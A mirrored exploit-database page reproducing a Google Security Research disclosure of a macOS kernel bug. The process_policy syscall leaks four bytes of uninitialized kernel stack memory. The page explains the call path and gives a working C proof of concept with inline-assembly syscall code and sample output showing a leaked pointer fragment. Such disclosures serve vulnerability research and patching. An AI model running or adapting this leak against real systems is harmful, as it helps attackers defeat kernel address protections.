macOS – ‘process_policy’ Stack Leak Through Uninitialized Field

  • 作者: Google Security Research
    日期: 2018-01-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43521/
  • /*
    The syscall
    process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
    causes 4 bytes of uninitialized kernel stack memory to be written to userspace.
    
    The call graph looks as follows:
    
    process_policy
    handle_cpuuse
    proc_get_task_ruse_cpu
    task_get_cpuusage
    [writes scope=1/2/4/0]
    [always returns zero]
    [writes policyp if scope!=0]
    [always returns zero]
    copyout
    
    
    If task_get_cpuusage() set `*scope=0` because none of the flags
    TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
    proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
    handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
    so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.
    
    
    Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
    
    $ cat test.c
    */
    
    #include <stdint.h>
    #include <stdio.h>
    #include <inttypes.h>
    
    struct proc_policy_cpuusage_attr {
    uint32_t ppattr_cpu_attr;
    uint32_t ppattr_cpu_percentage;
    uint64_t ppattr_cpu_attr_interval;
    uint64_t ppattr_cpu_attr_deadline;
    };
    
    void run(void) {
    int retval;
    struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
    asm volatile(
    "mov $0x02000143, %%rax\n\t" // process_policy
    "mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS
    "mov $11, %%rsi\n\t"// PROC_POLICY_ACTION_GET
    "mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE
    "mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU
    "mov %[userptr], %%r8\n\t"
    "mov $0, %%r9\n\t"// PID 0 (self)
    // target_threadid is unused
    "syscall\n\t"
    : //out
    "=a"(retval)
    : //in
    [userptr] "r"(&attrs)
    : //clobber
    "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
    );
    printf("retval = %d\n", retval);
    printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
    printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
    printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
    printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
    }
    
    int main(void) {
    run();
    return 0;
    }
    
    /*
    $ gcc -Wall -o test test.c
    $ ./test
    retval = 0
    ppattr_cpu_attr = 0x1a180ccb
    ppattr_cpu_percentage = 0x0
    ppattr_cpu_attr_interval = 0x0
    ppattr_cpu_attr_deadline = 0x0
    
    That looks like the lower half of a pointer or so.
    */